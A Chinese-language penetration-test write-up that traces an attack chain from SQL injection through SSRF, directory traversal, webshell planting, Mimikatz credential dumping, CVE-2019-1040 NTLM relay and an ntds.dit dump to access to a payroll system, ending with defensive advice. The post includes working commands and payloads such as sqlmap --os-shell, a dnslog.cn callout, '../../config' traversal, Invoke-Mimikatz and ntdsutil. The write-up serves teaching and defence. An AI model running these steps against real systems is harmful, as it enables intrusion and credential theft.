细说渗透江湖之出荆棘入深林
字数 1432 2025-08-15 21:32:20
渗透测试实战教学:从SQL注入到内网域控的完整攻击链分析
1. 初始发现与SQL注入利用
1.1 漏洞发现
- 目标应用存在SQL注入漏洞,通过接口注入
- 数据库环境:MySQL
- 服务器系统:Windows
1.2 常规利用尝试
- 使用sqlmap进行自动化注入测试:
sqlmap -u "目标URL" --os-shell - 成功获取
os-shell但发现命令执行受限:- 仅能执行
whoami命令 - 其他命令执行失败
- 当前权限为
NT AUTHORITY\SYSTEM
- 仅能执行
1.3 问题分析与假设
-
可能原因:
- 命令未正确传递执行
- 服务器无法连接外网(无出站流量)
-
验证测试:
ping dnslog.cn- 无响应,初步判断服务器无法连接外网
2. 突破命令执行限制
2.1 Base64编码绕过
- 使用PowerShell进行Base64编码执行:
Powershell "string='ipconfig';[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(string))" - 服务器端执行后返回Base64编码结果
2.2 手工目录遍历
- 通过一层层查询目录获取绝对路径
- 发现目标服务器架构:
- 多个端口映射到不同内网服务器
- 内网环境隔离,无法直接连接外网
3. SSRF漏洞利用
3.1 SSRF发现与验证
- 寻找WEB应用功能点,分析请求参数
- 测试外连验证:
GET /api?url=http://dnslog.cn HTTP/1.1- 成功收到DNS查询记录,确认SSRF存在
3.2 内网信息收集
-
发现知识库系统泄露内网应用信息
-
使用关键字FUZZ:
- 内网系统:cas、oa、mail、login
- 服务凭证:mysql、user、system
- 开发信息:error、warning、debug、api
-
发现内网系统存在目录遍历漏洞:
GET /download?file=../../config HTTP/1.1- 成功获取配置文件,含数据库连接信息
4. WebShell写入与访问
4.1 写入问题解决
-
初始问题:
- WebShell内容被Base64编码存储
- 无法正常访问写入的WebShell
-
解决方案:
powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=out-file -filepath D:\path\to\aspnet_client\system_web\4_0_30319\last3time.aspx;"
4.2 多站点尝试
- 在第二个站点成功写入并访问WebShell
- 利用
NT AUTHORITY\SYSTEM权限执行高权限操作
5. 内网横向移动
5.1 密码获取
- 上传PowerShell版Mimikatz
- 执行密码抓取:
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'- 成功获取系统密码
5.2 数据库密码解密
- 从配置文件中发现加密的数据库密码
- 通过源码分析找到自定义加解密算法
- 编写解密代码获取明文密码
5.3 域内渗透
- 发现目标服务器在域内
- 使用CVE-2019-1040漏洞进行NTLM中继攻击
- 触发Print Spooler服务漏洞获取域管理员权限
5.4 域控攻陷
- 使用ntdsutil创建活动目录快照:
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q - 复制ntds.dit和SYSTEM文件
- 使用WPR破解哈希获取域内凭证
6. 最终目标达成
6.1 工资系统访问
- 使用获取的域凭证登录工资系统
- 发现管理员密码加密存储
- 通过替换加密密码方式临时登录系统
6.2 证据收集
- 截取关键系统界面作为渗透证明
- 在项目截止前1.5小时完成所有操作
7. 攻击链总结
SQL注入 → 受限命令执行 → Base64绕过 → 目录遍历 → SSRF发现 → 内网信息收集 →
配置文件泄露 → WebShell写入 → 密码获取 → 数据库解密 → 域内横向移动 →
NTLM中继攻击 → 域控攻陷 → 目标系统访问
8. 关键经验总结
- 编码绕过:当命令执行受限时,尝试Base64等编码方式
- 多角度验证:对异常现象建立多个假设并逐一验证
- SSRF利用:不仅是内网探测工具,更是重要的攻击跳板
- 源码分析:配置文件加密时,源码往往是解密关键
- 时间管理:合理分配渗透各阶段时间,确保项目按时完成
- 攻击链思维:单个漏洞可能价值有限,串联利用才能直达目标
9. 防御建议
- 严格过滤SQL注入特殊字符
- 限制服务器出站连接
- 对SSRF参数进行严格校验
- 避免配置文件泄露
- 及时修补已知漏洞如CVE-2019-1040
- 实施网络分段,限制内网横向移动
- 加强域管理员账户保护